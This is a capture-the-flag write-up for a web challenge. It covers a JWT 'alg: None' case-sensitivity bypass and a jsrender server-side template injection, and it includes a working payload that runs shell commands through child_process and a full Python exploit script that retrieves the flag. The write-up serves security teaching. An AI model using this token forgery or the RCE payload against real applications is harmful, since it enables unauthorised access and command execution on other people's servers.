Cyber Apocalypse CTF 2023 - Didactic Octo Paddles

Category: Web
Difficulty: Medium
Description: You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.
Address: 142.93.38.14:30270
Attachments: web_didactic_octo_paddle.zip

If we visit the address we will see a login page that asks us for username and password and nothing else is present: Since we have also the source code of the website, let’s take a look into it.

From the Dockerfile we can see that the file containing the flag is located at /flag.txt. From the sources we can see that the website is made using the javascript Express framework. If we take a look at the web_didactic_octo_paddle/challenge/routes/index.js file we can see some interesting endpoints. First of all there is a /register endpoint:

router.post("/register", async (req, res) => {
    try {
        const username = req.body.username;
        const password = req.body.password;

        if (!username || !password) {
            return res
                .status(400)
                .send(response("Username and password are required"));
        }

        const existingUser = await db.Users.findOne({
            where: { username: username },
        });
        if (existingUser) {
            return res
                .status(400)
                .send(response("Username already exists"));
        }

        await db.Users.create({
            username: username,
            password: bcrypt.hashSync(password),
        }).then(() => {
            res.send(response("User registered succesfully"));
        });
    } catch (error) {
        console.error(error);
        res.status(500).send({
            error: "Something went wrong!",
        });
    }
});

This means that, even if we don’t know any credential for the login page, we can register to create new ones and then log in. We can see that the username that we provide is directly stored without performing any additional check (apart that it must not be already registered). Then we can see another interesting endpoint called /admin:

router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
        const users = await db.Users.findAll();
        const usernames = users.map((user) => user.username);

        res.render("admin", {
            users: jsrender.templates(`${usernames}`).render(),
        });
    } catch (error) {
        console.error(error);
        res.status(500).send("Something went wrong!");
    }
});

It displays the username of every registered user. Since the variable containing the username is directly passed to the function that will render it in HTML, and we control its value (when we register a new user) we can control the code that will be rendered and transformed into HTML. So we can perform a Server Side Template Injection (SSTI). But, in order to do that we need to access this /admin endpoint. From its code we can see that its access is regulated by the AdminMiddleware function, which is located in the web_didactic_octo_paddle/challenge/middleware/AdminMiddleware.js file. Let’s see what it does:

const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

It checks our session jwt token in this way:

So, since we don’t know the secret password used to sign the tokens, the only chance we have is to fall in the third case. We can try to use other algorithms, but all of them requires a key to be used for the verification, which the server doesn’t use. The perfect algorithm would be the none (which doesn’t sign the token, so in the verification it would require no key), but we cannot use it… But, if we look more closely to the code, we can see that the check against the value of the algorithm used is done considering only lowercase letters, so if we specify it using, for example, a capital “N” instead of a lowercased one, we will fall back in the third case, and we will still be able to use the none algorithm.

In order to do this we have to forge a custom token like the following one:

{
    "alg": "None",
    "typ": "JWT"
}
{
    "id": ...
}

In the id field of the payload part of the token we have to insert the id of the admin user. By looking at the code we can see that, in the web_didactic_octo_paddle/challenge/utils/database.js file it is defined the schema that represents a User entity, and create the admin user:

....
....
Database.Users = sequelize.define("user", {
    id: {
        type: Sequelize.INTEGER,
        autoIncrement: true,
        primaryKey: true,
        allowNull: false,
        unique: true,
    },
    username: {
        type: Sequelize.STRING,
        allowNull: false,
        unique: true,
    },
    password: {
        type: Sequelize.STRING,
        allowNull: false,
    },
});
....
....

Since the id field has the attribute autoIncrement set to true, and the allowNull attribute set to false, we can guess that it starts assigning values starting from 1, and since the admin user is the first user that will be created (is the only one to be created), it will have an id equal to 1. So our final craftet token will be:

{
    "alg": "None",
    "typ": "JWT"
}
{
    "id": "1"
}

After this, we can exploit the SSTI to read the content of the /flag.txt file and render it into HTML. To do this we need to register a new user with a username that will be correctly interpreted by the HTML render and execute arbitrary JavaScript commands to read the file. From the code that handle the /admin endpoint that we have seen earlier we can see that the website uses a module called jsrender to perform the rendering. With a quick online research I found here the payload for us:

{{:"".toString.constructor.call({},"return global.process.mainModule.constructor._load(\'child_process\').execSync(\'cat /flag.txt\').toString()")()}}

This code will create a child process that executes the command cat /flag.txt and transform the output into string, ready to be embedded into the final HTML. In order to automatize everything I worte the following python script:

#!/usr/bin/env python3

import requests
import base64
import jwt

ADDRESS = "142.93.38.14:30270"

def forge_jwt():
    payload = {
        "id": "1"
    }

    token = jwt.encode(
        payload=payload,
        key=None,
        algorithm="none"
    )

    token = token.split('.')
    token[0] = base64.b64decode(token[0] + '=').decode().split('=')[0]
    token[0] = token[0].replace('"alg":"none"', '"alg":"None"') # with capital N
    token[0] = base64.b64encode(token[0].encode()).decode().split('=')[0]
    token = ".".join(token)
    
    return token

def main():
    s = requests.Session()
    s.post(f"http://{ADDRESS}/register", json={
            "username": '{{:"".toString.constructor.call({},"return global.process.mainModule.constructor._load(\'child_process\').execSync(\'cat /flag.txt\').toString()")()}}',
            "password": "test"
        }, headers={
            "Content-Type": "application/json"
        })

    s.cookies.set('session', forge_jwt())

    resp = s.get(f"http://{ADDRESS}/admin")
    flag = resp.text.split('HTB{')[1]
    flag = "HTB{" + flag.split('}')[0] + '}'
    print(flag)

if __name__ == "__main__":
    main()

And, finally, if we execute it:

$ chmod +x exploit.py
$ ./exploit.py
HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}